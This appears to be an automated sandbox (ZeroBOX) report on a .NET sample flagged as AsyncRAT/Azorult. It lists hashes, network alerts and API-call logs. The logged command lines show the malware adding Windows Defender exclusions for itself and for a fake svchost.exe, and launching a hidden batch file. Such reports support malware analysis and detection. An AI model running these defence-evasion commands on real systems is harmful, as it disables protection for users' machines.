Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6401	Oct. 22, 2021, 9:02 a.m.	Oct. 22, 2021, 9:28 a.m.

Size	42.5KB
Type	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
MD5	`f389bcaede3b4275e90f2d9ff0e50a57`
SHA256	`46de87ee14fc89de41df979d9de14bd223dbd109d7f9c04eda2641091d6d005b`
CRC32	`CCE84DF7`
ssdeep	`768:gvlORuAap6iU68tDxf128x4wkFvxbRI2FTpmemTOxHW76TQv8fO8i:gvlOxM6iU60VVxBMvrJ/xHW7lD`
Yara	PE_Header_Zero - PE File Signature Generic_Malware_Zero - Generic Malware IsPE32 - (no description) Is_DotNET_EXE - (no description) Win_Backdoor_AsyncRAT_Zero - Win Backdoor AsyncRAT Win32_Trojan_PWS_Net_1_Zero - Win32 Trojan PWS .NET Azorult

new.exe "C:\Users\test22\AppData\Local\Temp\new.exe"
2776
- powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\쳶쳱촵쳴쳰촴촡촁쳲촉쳸촵촥촤촬\svchost.exe" -Force
  2252
- powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\test22\AppData\Local\Temp\new.exe" -Force
  2276
- powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\쳶쳱촵쳴쳰촴촡촁쳲촉쳸촵촥촤촬\svchost.exe" -Force
  2856
- AdvancedRun.exe "C:\Users\test22\AppData\Local\Temp\fc0b12b6-d84a-405f-b859-e50e46c7a939\AdvancedRun.exe" /EXEFilename "C:\Users\test22\AppData\Local\Temp\fc0b12b6-d84a-405f-b859-e50e46c7a939\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
  2840
- powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\test22\AppData\Local\Temp\new.exe" -Force
  2244

Name	Response	Post-Analysis Lookup
cdn.discordapp.com	A 162.159.135.233 A 162.159.134.233 A 162.159.129.233 A 162.159.130.233 A 162.159.133.233	162.159.129.233

IP Address	Status	Action
162.159.130.233	Active	Moloch
164.124.101.2	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.101:49198 -> 162.159.130.233:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined

Suricata TLS

Flow	Issuer	Subject	Fingerprint
TLSv1 192.168.56.101:49198 162.159.130.233:443	C=US, O=Cloudflare, Inc., CN=Cloudflare Inc RSA CA-2	C=US, ST=CA, L=San Francisco, O=Cloudflare, Inc., CN=sni.cloudflaressl.com	a6:26:df:21:b9:4f:a7:fb:ae:8d:87:ce:fb:7d:2b:c6:50:8b:ff:da

Queries for the computername (26 events)

Time & API	Arguments	Status	Return
GetComputerNameA Oct. 22, 2021, 9:02 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 22, 2021, 9:02 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 22, 2021, 9:02 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 22, 2021, 9:02 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 22, 2021, 9:02 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 22, 2021, 9:02 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA Oct. 22, 2021, 9:02 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 22, 2021, 9:02 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 22, 2021, 9:02 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 22, 2021, 9:02 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 22, 2021, 9:02 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 22, 2021, 9:02 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA Oct. 22, 2021, 9:02 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 22, 2021, 9:02 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 22, 2021, 9:02 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 22, 2021, 9:02 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 22, 2021, 9:02 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 22, 2021, 9:02 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA Oct. 22, 2021, 9:02 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 22, 2021, 9:02 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 22, 2021, 9:02 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 22, 2021, 9:02 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 22, 2021, 9:02 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 22, 2021, 9:02 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA Oct. 22, 2021, 9:02 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 22, 2021, 9:02 a.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (8 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent Oct. 22, 2021, 9:02 a.m.			0	0
IsDebuggerPresent Oct. 22, 2021, 9:02 a.m.			0	0
IsDebuggerPresent Oct. 22, 2021, 9:02 a.m.			0	0
IsDebuggerPresent Oct. 22, 2021, 9:02 a.m.			0	0
IsDebuggerPresent Oct. 22, 2021, 9:02 a.m.			0	0
IsDebuggerPresent Oct. 22, 2021, 9:02 a.m.			0	0
IsDebuggerPresent Oct. 22, 2021, 9:02 a.m.			0	0
IsDebuggerPresent Oct. 22, 2021, 9:02 a.m.			0	0

Command line console output was observed (36 events)

Time & API	Arguments	Status	Return
WriteConsoleW Oct. 22, 2021, 9:02 a.m.	buffer: The term 'Add-MpPreference' is not recognized as the name of a cmdlet, function console_handle: 0x00000023	1	1
WriteConsoleW Oct. 22, 2021, 9:02 a.m.	buffer: , script file, or operable program. Check the spelling of the name, or if a pat console_handle: 0x0000002f	1	1
WriteConsoleW Oct. 22, 2021, 9:02 a.m.	buffer: h was included, verify that the path is correct and try again. console_handle: 0x0000003b	1	1
WriteConsoleW Oct. 22, 2021, 9:02 a.m.	buffer: At line:1 char:17 console_handle: 0x00000047	1	1
WriteConsoleW Oct. 22, 2021, 9:02 a.m.	buffer: + Add-MpPreference <<<< -ExclusionPath C:\Windows\Resources\Themes\쳶쳱촵쳴쳰촴촡촁쳲촉쳸 console_handle: 0x00000053	1	1
WriteConsoleW Oct. 22, 2021, 9:02 a.m.	buffer: 촵촥촤촬\svchost.exe -Force console_handle: 0x0000005f	1	1
WriteConsoleW Oct. 22, 2021, 9:02 a.m.	buffer: + CategoryInfo : ObjectNotFound: (Add-MpPreference:String) [], Co console_handle: 0x0000006b	1	1
WriteConsoleW Oct. 22, 2021, 9:02 a.m.	buffer: mmandNotFoundException console_handle: 0x00000077	1	1
WriteConsoleW Oct. 22, 2021, 9:02 a.m.	buffer: + FullyQualifiedErrorId : CommandNotFoundException console_handle: 0x00000083	1	1
WriteConsoleW Oct. 22, 2021, 9:02 a.m.	buffer: The term 'Add-MpPreference' is not recognized as the name of a cmdlet, function console_handle: 0x00000023	1	1
WriteConsoleW Oct. 22, 2021, 9:02 a.m.	buffer: , script file, or operable program. Check the spelling of the name, or if a pat console_handle: 0x0000002f	1	1
WriteConsoleW Oct. 22, 2021, 9:02 a.m.	buffer: h was included, verify that the path is correct and try again. console_handle: 0x0000003b	1	1
WriteConsoleW Oct. 22, 2021, 9:02 a.m.	buffer: At line:1 char:17 console_handle: 0x00000047	1	1
WriteConsoleW Oct. 22, 2021, 9:02 a.m.	buffer: + Add-MpPreference <<<< -ExclusionPath C:\Users\test22\AppData\Local\Temp\new. console_handle: 0x00000053	1	1
WriteConsoleW Oct. 22, 2021, 9:02 a.m.	buffer: exe -Force console_handle: 0x0000005f	1	1
WriteConsoleW Oct. 22, 2021, 9:02 a.m.	buffer: + CategoryInfo : ObjectNotFound: (Add-MpPreference:String) [], Co console_handle: 0x0000006b	1	1
WriteConsoleW Oct. 22, 2021, 9:02 a.m.	buffer: mmandNotFoundException console_handle: 0x00000077	1	1
WriteConsoleW Oct. 22, 2021, 9:02 a.m.	buffer: + FullyQualifiedErrorId : CommandNotFoundException console_handle: 0x00000083	1	1
WriteConsoleW Oct. 22, 2021, 9:02 a.m.	buffer: The term 'Add-MpPreference' is not recognized as the name of a cmdlet, function console_handle: 0x00000023	1	1
WriteConsoleW Oct. 22, 2021, 9:02 a.m.	buffer: , script file, or operable program. Check the spelling of the name, or if a pat console_handle: 0x0000002f	1	1
WriteConsoleW Oct. 22, 2021, 9:02 a.m.	buffer: h was included, verify that the path is correct and try again. console_handle: 0x0000003b	1	1
WriteConsoleW Oct. 22, 2021, 9:02 a.m.	buffer: At line:1 char:17 console_handle: 0x00000047	1	1
WriteConsoleW Oct. 22, 2021, 9:02 a.m.	buffer: + Add-MpPreference <<<< -ExclusionPath C:\Windows\Resources\Themes\쳶쳱촵쳴쳰촴촡촁쳲촉쳸 console_handle: 0x00000053	1	1
WriteConsoleW Oct. 22, 2021, 9:02 a.m.	buffer: 촵촥촤촬\svchost.exe -Force console_handle: 0x0000005f	1	1
WriteConsoleW Oct. 22, 2021, 9:02 a.m.	buffer: + CategoryInfo : ObjectNotFound: (Add-MpPreference:String) [], Co console_handle: 0x0000006b	1	1
WriteConsoleW Oct. 22, 2021, 9:02 a.m.	buffer: mmandNotFoundException console_handle: 0x00000077	1	1
WriteConsoleW Oct. 22, 2021, 9:02 a.m.	buffer: + FullyQualifiedErrorId : CommandNotFoundException console_handle: 0x00000083	1	1
WriteConsoleW Oct. 22, 2021, 9:02 a.m.	buffer: The term 'Add-MpPreference' is not recognized as the name of a cmdlet, function console_handle: 0x00000023	1	1
WriteConsoleW Oct. 22, 2021, 9:02 a.m.	buffer: , script file, or operable program. Check the spelling of the name, or if a pat console_handle: 0x0000002f	1	1
WriteConsoleW Oct. 22, 2021, 9:02 a.m.	buffer: h was included, verify that the path is correct and try again. console_handle: 0x0000003b	1	1
WriteConsoleW Oct. 22, 2021, 9:02 a.m.	buffer: At line:1 char:17 console_handle: 0x00000047	1	1
WriteConsoleW Oct. 22, 2021, 9:02 a.m.	buffer: + Add-MpPreference <<<< -ExclusionPath C:\Users\test22\AppData\Local\Temp\new. console_handle: 0x00000053	1	1
WriteConsoleW Oct. 22, 2021, 9:02 a.m.	buffer: exe -Force console_handle: 0x0000005f	1	1
WriteConsoleW Oct. 22, 2021, 9:02 a.m.	buffer: + CategoryInfo : ObjectNotFound: (Add-MpPreference:String) [], Co console_handle: 0x0000006b	1	1
WriteConsoleW Oct. 22, 2021, 9:02 a.m.	buffer: mmandNotFoundException console_handle: 0x00000077	1	1
WriteConsoleW Oct. 22, 2021, 9:02 a.m.	buffer: + FullyQualifiedErrorId : CommandNotFoundException console_handle: 0x00000083	1	1

Uses Windows APIs to generate a cryptographic key (50 out of 196 events)

Time & API	Arguments	Status	Return
CryptExportKey Oct. 22, 2021, 9:02 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005f5aa8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 22, 2021, 9:02 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005f5aa8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 22, 2021, 9:02 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005f5aa8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 22, 2021, 9:02 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005f5aa8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 22, 2021, 9:02 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005f5b28 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 22, 2021, 9:02 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005f5b28 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 22, 2021, 9:02 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005f5a28 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 22, 2021, 9:02 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005f5a28 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 22, 2021, 9:02 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005f5a28 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 22, 2021, 9:02 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005f6468 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 22, 2021, 9:02 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005f64e8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 22, 2021, 9:02 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005f64e8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 22, 2021, 9:02 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x007a0f70 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 22, 2021, 9:02 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x007a1970 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 22, 2021, 9:02 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x007a1970 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 22, 2021, 9:02 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x007a1970 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 22, 2021, 9:02 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x007a1030 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 22, 2021, 9:02 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x007a1030 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 22, 2021, 9:02 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x007a1030 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 22, 2021, 9:02 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x007a1030 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 22, 2021, 9:02 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x007a1030 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 22, 2021, 9:02 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x007a1030 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 22, 2021, 9:02 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x007a13f0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 22, 2021, 9:02 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x007a13f0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 22, 2021, 9:02 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x007a13f0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 22, 2021, 9:02 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x007a1970 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 22, 2021, 9:02 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x007a1970 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 22, 2021, 9:02 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x007a1970 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 22, 2021, 9:02 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x007a1670 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 22, 2021, 9:02 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x007a1970 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 22, 2021, 9:02 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x007a1970 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 22, 2021, 9:02 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x007a1970 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 22, 2021, 9:02 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x007a1970 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 22, 2021, 9:02 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x007a1970 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 22, 2021, 9:02 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x007a1970 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 22, 2021, 9:02 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x007a1970 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 22, 2021, 9:02 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x007a1b70 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 22, 2021, 9:02 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x007a1b70 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 22, 2021, 9:02 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x007a1b70 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 22, 2021, 9:02 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x007a1b70 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 22, 2021, 9:02 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x007a1b70 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 22, 2021, 9:02 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x007a1b70 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 22, 2021, 9:02 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x007a1b70 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 22, 2021, 9:02 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x007a1b70 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 22, 2021, 9:02 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x007a1b70 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 22, 2021, 9:02 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x007a1b70 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 22, 2021, 9:02 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x007a1b70 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 22, 2021, 9:02 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x007a1b70 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 22, 2021, 9:02 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x007a1b70 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 22, 2021, 9:02 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x007a1b70 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Oct. 22, 2021, 9:02 a.m.		1	1	0

One or more processes crashed (3 events)

Time & API	Arguments	Status
__exception__ Oct. 22, 2021, 9:02 a.m.	stacktrace: CopyPDBs+0x1b552 DllCanUnloadNowInternal-0x25a85 clr+0x1b1194 @ 0x728f1194 LogHelp_TerminateOnAssert+0x14061 GetPrivateContextsPerfCounters-0x53e1 clr+0x82ba1 @ 0x727c2ba1 mscorlib+0x2f45a5 @ 0x6ff345a5 mscorlib+0x2f46fc @ 0x6ff346fc mscorlib+0x2f4688 @ 0x6ff34688 0x6d02bd 0x6d00af DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72742652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7275264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72752e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x728074ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72807610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72891dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72891e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72891f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7289416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x7376f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x743c7f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x743c4de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727 exception.instruction: leave exception.module: KERNELBASE.dll exception.exception_code: 0xe0434f4e exception.offset: 46887 exception.address: 0x76a7b727 registers.esp: 3730308 registers.edi: 0 registers.eax: 3730308 registers.ebp: 3730388 registers.edx: 0 registers.ebx: 6807048 registers.esi: 6121632 registers.ecx: 1803757052	1
__exception__ Oct. 22, 2021, 9:02 a.m.	stacktrace: CopyPDBs+0x1b552 DllCanUnloadNowInternal-0x25a85 clr+0x1b1194 @ 0x728f1194 LogHelp_TerminateOnAssert+0x14061 GetPrivateContextsPerfCounters-0x53e1 clr+0x82ba1 @ 0x727c2ba1 mscorlib+0x2eee49 @ 0x6ff2ee49 mscorlib+0x2eed37 @ 0x6ff2ed37 mscorlib+0x2cd9c4 @ 0x6ff0d9c4 0x6d00af DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72742652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7275264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72752e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x728074ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72807610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72891dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72891e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72891f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7289416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x7376f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x743c7f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x743c4de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727 exception.instruction: leave exception.module: KERNELBASE.dll exception.exception_code: 0xe0434f4e exception.offset: 46887 exception.address: 0x76a7b727 registers.esp: 3730288 registers.edi: 0 registers.eax: 3730288 registers.ebp: 3730368 registers.edx: 0 registers.ebx: 6807048 registers.esi: 6121632 registers.ecx: 1803757028	1
__exception__ Oct. 22, 2021, 9:02 a.m.	stacktrace: 0x6d206d DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72742652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7275264f LogHelp_TerminateOnAssert+0x12cf8 GetPrivateContextsPerfCounters-0x674a clr+0x81838 @ 0x727c1838 LogHelp_TerminateOnAssert+0x12bf7 GetPrivateContextsPerfCounters-0x684b clr+0x81737 @ 0x727c1737 mscorlib+0x2d3711 @ 0x6ff13711 mscorlib+0x308f2d @ 0x6ff48f2d mscorlib+0x2cb060 @ 0x6ff0b060 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72742652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7275264f LogHelp_TerminateOnAssert+0x12cf8 GetPrivateContextsPerfCounters-0x674a clr+0x81838 @ 0x727c1838 LogHelp_TerminateOnAssert+0x12bf7 GetPrivateContextsPerfCounters-0x684b clr+0x81737 @ 0x727c1737 mscorlib+0x2d36ad @ 0x6ff136ad mscorlib+0x308f2d @ 0x6ff48f2d microsoft+0x50c17 @ 0x6c5d0c17 microsoft+0x3f33f @ 0x6c5bf33f microsoft+0x3edf8 @ 0x6c5bedf8 microsoft+0x3e3b9 @ 0x6c5be3b9 0x6d09a7 0x6d070d 0x6d00af DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72742652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7275264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72752e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x728074ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72807610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72891dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72891e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72891f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7289416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x7376f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x743c7f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x743c4de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 8b 40 50 33 d2 52 50 e8 08 5b 8f 6f 50 68 00 30 exception.instruction: mov eax, dword ptr [eax + 0x50] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x6d2be8 registers.esp: 3727188 registers.edi: 46733592 registers.eax: 46550064 registers.ebp: 3728100 registers.edx: 109524 registers.ebx: 3728772 registers.esi: 1868 registers.ecx: 0	1

Time & API

Arguments

Status

Return

Repeated

__exception__

Oct. 22, 2021, 9:02 a.m.

stacktrace:

CopyPDBs+0x1b552 DllCanUnloadNowInternal-0x25a85 clr+0x1b1194 @ 0x728f1194
LogHelp_TerminateOnAssert+0x14061 GetPrivateContextsPerfCounters-0x53e1 clr+0x82ba1 @ 0x727c2ba1
mscorlib+0x2f45a5 @ 0x6ff345a5
mscorlib+0x2f46fc @ 0x6ff346fc
mscorlib+0x2f4688 @ 0x6ff34688
0x6d02bd
0x6d00af
DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72742652
DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7275264f
DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72752e95
DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x728074ec
DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72807610
